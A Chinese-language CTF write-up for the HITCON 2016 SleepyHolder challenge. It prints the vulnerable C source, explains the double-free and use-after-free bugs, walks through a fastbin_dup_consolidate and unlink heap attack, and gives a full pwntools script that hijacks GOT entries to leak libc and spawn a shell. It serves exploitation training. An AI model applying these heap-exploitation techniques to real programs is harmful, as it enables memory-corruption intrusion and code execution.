ctf|Hitcon 2016 SleepyHolder-fastbin_dup_consolidate

#include #include #include #include #include #include #include #define BASE 40char *s_ptr; char *f_ptr; char *q_ptr; int s_flag; int f_flag; int q_flag; void add() { char buf[4]; char *ptr; unsigned int choice; puts("What secret do you want to keep?"); puts("1. Small secret"); puts("2. Big secret"); if(!q_flag) puts("3. Keep a huge secret and lock it forever"); memset(buf, 0 ,sizeof(buf)); read(0, buf, sizeof(buf)); choice = atoi(buf); switch(choice) { case 1: if(f_flag) return; f_ptr = calloc(1, BASE); f_flag = 1; puts("Tell me your secret: "); read(0, f_ptr, BASE); break; case 2: if(s_flag) return; s_ptr = calloc(1, BASE*100); s_flag = 1; puts("Tell me your secret: "); read(0, s_ptr, BASE*100); break; case 3: if(q_flag) return; q_ptr = calloc(1, BASE*10000); q_flag = 1; puts("Tell me your secret: "); read(0, q_ptr, BASE*10000); break; }}void del() { char buf[4]; int choice; puts("Which Secret do you want to wipe?"); puts("1. Small secret"); puts("2. Big secret"); memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); choice = atoi(buf); switch(choice) { case 1: free(f_ptr); f_flag = 0; break; case 2: free(s_ptr); s_flag = 0; break; }}void update() { char buf[4]; int choice; puts("Which Secret do you want to renew?"); puts("1. Small secret"); puts("2. Big secret"); memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); choice = atoi(buf); switch(choice) { case 1: if(f_flag) { puts("Tell me your secret: "); read(0, f_ptr, BASE); } break; case 2: if(s_flag) { puts("Tell me your secret: "); read(0, s_ptr, BASE*100); } break; }}void handler(){ puts("Timeout!"); exit(1); }void init_prog(){setvbuf(stdout, 0,2,0); signal(SIGALRM, handler); alarm(60); }int main() { init_prog(); puts("Waking Sleepy Holder up ..."); int fd = open("/dev/urandom", O_RDONLY); unsigned int rand_size; read(fd, &rand_size, sizeof(rand_size)); rand_size %= 4096; malloc(rand_size); sleep(3); char buf[4]; unsigned int choice; puts("Hey! Do you have any secret?"); puts("I can help you to hold your secrets, and no one will be able to see it :)"); while(1){ puts("1. Keep secret"); puts("2. Wipe secret"); puts("3. Renew secret"); memset(buf, 0 ,sizeof(buf)); read(0, buf, sizeof(buf)); choice = atoi(buf); switch(choice){ case 1: add(); break; case 2: del(); break; case 3: update(); break; } }}

root@b0ba199ad1df:/work/how2heap-master/how2heap-master/glibc_2.25/fastbin_dup# checksec SleepyHolder [*] '/work/how2heap-master/how2heap-master/glibc_2.25/fastbin_dup/SleepyHolder' Arch:amd64-64-little RELRO:Partial RELRO Stack:Canary found NX:NX enabled PIE:No PIE (0x400000)

【ctf|Hitcon 2016 SleepyHolder-fastbin_dup_consolidate】除了pie和full relro都开启了
漏洞:释放掉之后指针没有清零,造成double free;update函数没有校验flag有uaf
但是同时每种chunk只能存在一个。
利用思路:用fastbin_dup_consolidate获取到
ctf|Hitcon 2016 SleepyHolder-fastbin_dup_consolidate
文章图片

这种结构,从fastbin中申请到但是prev_inpuse位为0
详情参考:
然后伪造chunk进行unlink
unlink原理不容易懂但是伪造方式和结果却很简单
f_ptr = 0x6020d0#1#unlink会把f_ptr-0x18写入到*f_ptr fake_chunk = p64(0) + p64(0x21) fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10) fake_chunk += '\x20'

放入size,p64(f_ptr - 0x18) + p64(f_ptr-0x10)这两个是为了绕过unlink的检查
'\x20’这个是preve_size位的。
unlink的结果就是f_ptr-0x18写入到*f_ptr
ctf|Hitcon 2016 SleepyHolder-fastbin_dup_consolidate
文章图片

上图的chunk1的0x6020d0位置处已经被写入。
泄露方法:改free函数的got表
这里free函数的使用是这样的
ctf|Hitcon 2016 SleepyHolder-fastbin_dup_consolidate
文章图片

直接更改free函数的got表改为puts,再把fptr的值改为put_plt这样调用free函数的时候会调用
puts(put_plt)输出真正运行地址。(到这里已经实现任意地址写了)
#!/usr/bin/env python #coding=utf-8 from pwn import *#r = remote('52.68.31.117', 9547) r=process("SleepyHolder") context.log_level="debug" def add(t, s): r.recvuntil('3. Renew secret\n') r.sendline('1') r.recvuntil('Big secret\n') r.sendline(str(t)) r.recvuntil(': \n') r.send(s)def de(t): r.recvuntil('3. Renew secret\n') r.sendline('2') r.recvuntil('Big secret\n') r.sendline(str(t))def update(t, s): r.recvuntil('3. Renew secret\n') r.sendline('3') r.recvuntil('Big secret\n') r.sendline(str(t)) r.recvuntil(': \n') r.send(s)add(1, 'a')#49 add(2, 'a')#4016 de(1) add(3, 'a')#40*10000de(1)f_ptr = 0x6020d0#1#unlink会把f_ptr-0x18写入到*f_ptr fake_chunk = p64(0) + p64(0x21) fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10) fake_chunk += '\x20' add(1, fake_chunk)de(2) gdb.attach(r) atoi_GOT = 0x602080 free_GOT = 0x602018 puts_GOT = 0x602020 puts_plt = 0x400760 atoi_offset = 0x36e70 system_offset = 0x45380f = p64(0) f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT) f += p32(1)*3 update(1, f) update(1, p64(puts_plt))de(2) s = r.recv(6)libc_base = u64(s.ljust(8, '\x00')) - atoi_offset system = libc_base + system_offset update(1, p64(system)) add(2, 'sh\0') de(2)r.interactive()

    推荐阅读